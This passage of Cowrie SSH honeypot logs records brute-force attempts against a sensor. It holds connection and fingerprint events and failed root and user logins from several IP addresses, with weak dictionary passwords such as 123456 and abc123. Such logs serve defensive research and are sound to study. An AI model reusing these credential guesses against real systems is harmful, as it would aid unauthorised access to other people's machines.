3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:54.614892Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"123456","message":"login attempt [pritchard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:55.189024Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc123","message":"login attempt [pritchard/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:56.316992Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd123","message":"login attempt [pritchard/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:57.444956Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd1234","message":"login attempt [pritchard/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:58.572924Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc1234","message":"login attempt [pritchard/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:59.701768Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:00.829208Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.95.245","src_port":47762,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bcf08af82d6","protocol":"ssh","message":"New connection: 108.181.95.245:47762 (10.17.0.5:22) [session: 4bcf08af82d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:44.708963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:44.715155Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:44.758766Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:d3:05:3e:04:12:42:0c:4e:65:aa:00:e7:ad:58:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBsy3YNnIab3Y4Om7lD7EHrETs8jvL722fdU8+KMa6MsY23thg/QFJfahEcwbp7QcEMWZ4ffLFH06W2z3qA/SOExOJIrMWNfCn8eq4bogVYj9teuye/CjC/80Rek5asJkOS3PPt6u2knKYdy41mvlQQ49tqatJvoMepuP6gTP55Kpb7q3tSjc83PO8NHF0+4PkGiTLoR7NN0scOL8uNU7oFz4l6o6NC5uwQsCZqVG84jYqWowmvqgU3ROS/JwrH7uT8R1t9aTfsHGJ2z42dBmViCuL/A3+zapm0YtOFdo5P6FofXJAjYOhEFVuU59G3eX1uOlBbr62naTK2PUXdlsl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:d3:05:3e:04:12:42:0c:4e:65:aa:00:e7:ad:58:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:44.956043Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:d3:05:3e:04:12:42:0c:4e:65:aa:00:e7:ad:58:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBsy3YNnIab3Y4Om7lD7EHrETs8jvL722fdU8+KMa6MsY23thg/QFJfahEcwbp7QcEMWZ4ffLFH06W2z3qA/SOExOJIrMWNfCn8eq4bogVYj9teuye/CjC/80Rek5asJkOS3PPt6u2knKYdy41mvlQQ49tqatJvoMepuP6gTP55Kpb7q3tSjc83PO8NHF0+4PkGiTLoR7NN0scOL8uNU7oFz4l6o6NC5uwQsCZqVG84jYqWowmvqgU3ROS/JwrH7uT8R1t9aTfsHGJ2z42dBmViCuL/A3+zapm0YtOFdo5P6FofXJAjYOhEFVuU59G3eX1uOlBbr62naTK2PUXdlsl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:44.960562Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:a8:e0:90:58:3d:00:cd:1c:ab:ca:c9:d3:44:80:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu47/8UqL0GD9o2QNILbxrJCTNPJyrD8/b+p4ivevPmOTy7Ho31YGEwDO15nyrdC46hZXr+hzaviz6GJhvgxjnftus1Zw5mirvgs3wkUgV9qr+AV+nysyjYJRlG9hiJdcaZhmZ8qQeJ81OK6FqQbz3C5ZFj7YEINel4V1vSVC/wHbP0gnxjlDfwug6MqktpiuaEo6xEBv+siYFTyr7Id7B8AtChmn27xQlIitm/BF6b3EI+BQtxU3qRR/dyuYbKdCMBaepf3tznoIXZdJaUHgplNI7JA1OMMaI9NVlQDXHHGq36rweQZ7ddHa/XFXipWe0I+jhScPNhdcoXaYnB9WT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:a8:e0:90:58:3d:00:cd:1c:ab:ca:c9:d3:44:80:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.006062Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:a8:e0:90:58:3d:00:cd:1c:ab:ca:c9:d3:44:80:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu47/8UqL0GD9o2QNILbxrJCTNPJyrD8/b+p4ivevPmOTy7Ho31YGEwDO15nyrdC46hZXr+hzaviz6GJhvgxjnftus1Zw5mirvgs3wkUgV9qr+AV+nysyjYJRlG9hiJdcaZhmZ8qQeJ81OK6FqQbz3C5ZFj7YEINel4V1vSVC/wHbP0gnxjlDfwug6MqktpiuaEo6xEBv+siYFTyr7Id7B8AtChmn27xQlIitm/BF6b3EI+BQtxU3qRR/dyuYbKdCMBaepf3tznoIXZdJaUHgplNI7JA1OMMaI9NVlQDXHHGq36rweQZ7ddHa/XFXipWe0I+jhScPNhdcoXaYnB9WT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.010349Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:85:20:b7:5f:5e:24:97:b3:d1:67:5b:e4:24:c9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4ko01yd23QkMbzW8lvI8hq1ETJSr7OkxlQckci1ZA6PINmYrpYqO/VMp+VoxwuCUiMF8XXTQIcbltZ2r03IoQzLukvPePsb5yioXyJ8vnfwnrHKB7mi9hsLQTZqdmBZOfPJEj0FolVpZhCoLArhi8mPX5VrP0YdtLVRBp9WDodhYkOfUqPQ/OmOnFF0AgUFL2XNW3lR/zgbc45/3LDOxFf9s7gDVLO4ai4b/4IPDSIGyyTQZCJ/iQKv5V6l9L2XG135pzcZGQJm2iC7r2ss1mHcH1bKgowbCIGEU9QimEc3DNkjXgcjdRIemfYOjkqXHtTfI3TFWiMXU45BImSNXuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:85:20:b7:5f:5e:24:97:b3:d1:67:5b:e4:24:c9:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.055393Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:85:20:b7:5f:5e:24:97:b3:d1:67:5b:e4:24:c9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4ko01yd23QkMbzW8lvI8hq1ETJSr7OkxlQckci1ZA6PINmYrpYqO/VMp+VoxwuCUiMF8XXTQIcbltZ2r03IoQzLukvPePsb5yioXyJ8vnfwnrHKB7mi9hsLQTZqdmBZOfPJEj0FolVpZhCoLArhi8mPX5VrP0YdtLVRBp9WDodhYkOfUqPQ/OmOnFF0AgUFL2XNW3lR/zgbc45/3LDOxFf9s7gDVLO4ai4b/4IPDSIGyyTQZCJ/iQKv5V6l9L2XG135pzcZGQJm2iC7r2ss1mHcH1bKgowbCIGEU9QimEc3DNkjXgcjdRIemfYOjkqXHtTfI3TFWiMXU45BImSNXuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.059095Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:53:24:0f:9a:2e:d8:dc:f4:ad:a5:94:ca:b8:c9:e1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBbK/OskTDF49CCSP5Pbw0gsG5POjoQeBL78w4m+SoBM","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:53:24:0f:9a:2e:d8:dc:f4:ad:a5:94:ca:b8:c9:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.103892Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:53:24:0f:9a:2e:d8:dc:f4:ad:a5:94:ca:b8:c9:e1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBbK/OskTDF49CCSP5Pbw0gsG5POjoQeBL78w4m+SoBM","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.108201Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:85:ea:33:ef:ef:6f:e2:2a:86:32:a5:0c:a0:2f:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgHcy2nwx1x9PhYDZf19YZeqTQ/HBoH7wlSnyPLuXh7uZFYfK7yZMao1choYax509BLot2YaHSZrcSahglFb+36hzhDmWVVINcEnBZViihj2/OMtNpYc4xTd2UKGpZqedf42Z4eJlDoZpi+c8isOl7L9zZtBoX88i4rTfv++RSDkzArSTaNmuyCsy/lHLILmHh3z+/tHbQ7TDJgl+8FQAyjAxbAqfgLi5uVRDRtCWtDsl8yTPOvxee/UTGPabKfclzvHuCXFs1MsP0Rzg2nCt/I6Fde/X41qPGg8Zien5VxDKriasZc9Wee0u/STfoAFPqKDnYUMzQlNWF5gj9A6NR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:85:ea:33:ef:ef:6f:e2:2a:86:32:a5:0c:a0:2f:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.162862Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:85:ea:33:ef:ef:6f:e2:2a:86:32:a5:0c:a0:2f:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgHcy2nwx1x9PhYDZf19YZeqTQ/HBoH7wlSnyPLuXh7uZFYfK7yZMao1choYax509BLot2YaHSZrcSahglFb+36hzhDmWVVINcEnBZViihj2/OMtNpYc4xTd2UKGpZqedf42Z4eJlDoZpi+c8isOl7L9zZtBoX88i4rTfv++RSDkzArSTaNmuyCsy/lHLILmHh3z+/tHbQ7TDJgl+8FQAyjAxbAqfgLi5uVRDRtCWtDsl8yTPOvxee/UTGPabKfclzvHuCXFs1MsP0Rzg2nCt/I6Fde/X41qPGg8Zien5VxDKriasZc9Wee0u/STfoAFPqKDnYUMzQlNWF5gj9A6NR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.166654Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:45.211426Z","src_ip":"108.181.95.245","session":"4bcf08af82d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":38576,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40c1303ba50","protocol":"ssh","message":"New connection: 43.162.109.147:38576 (10.17.0.5:22) [session: e40c1303ba50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:47.542123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:47.547095Z","src_ip":"43.162.109.147","session":"e40c1303ba50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:47.614676Z","src_ip":"43.162.109.147","session":"e40c1303ba50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dir","message":"login attempt [root/dir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:47.918622Z","src_ip":"43.162.109.147","session":"e40c1303ba50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:48.989874Z","src_ip":"43.162.109.147","session":"e40c1303ba50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":55292,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b81a06537a","protocol":"ssh","message":"New connection: 192.169.243.246:55292 (159.203.135.109:22) [session: d3b81a06537a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:52.532365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:52.537004Z","src_ip":"192.169.243.246","session":"d3b81a06537a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:52.625029Z","src_ip":"192.169.243.246","session":"d3b81a06537a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"condor","message":"login attempt [root/condor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:52.959900Z","src_ip":"192.169.243.246","session":"d3b81a06537a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:16:54.038057Z","src_ip":"192.169.243.246","session":"d3b81a06537a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":41582,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d7127b61cc","protocol":"ssh","message":"New connection: 95.58.255.251:41582 (10.17.0.5:22) [session: 45d7127b61cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:04.843555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:04.848792Z","src_ip":"95.58.255.251","session":"45d7127b61cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:05.022772Z","src_ip":"95.58.255.251","session":"45d7127b61cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:05.740903Z","src_ip":"95.58.255.251","session":"45d7127b61cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:06.915141Z","src_ip":"95.58.255.251","session":"45d7127b61cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.124.73.190","src_port":56024,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5710bce22b7","protocol":"ssh","message":"New connection: 115.124.73.190:56024 (10.17.0.5:22) [session: e5710bce22b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:07.525256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:17:07.530814Z","src_ip":"115.124.73.190","session":"e5710bce22b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-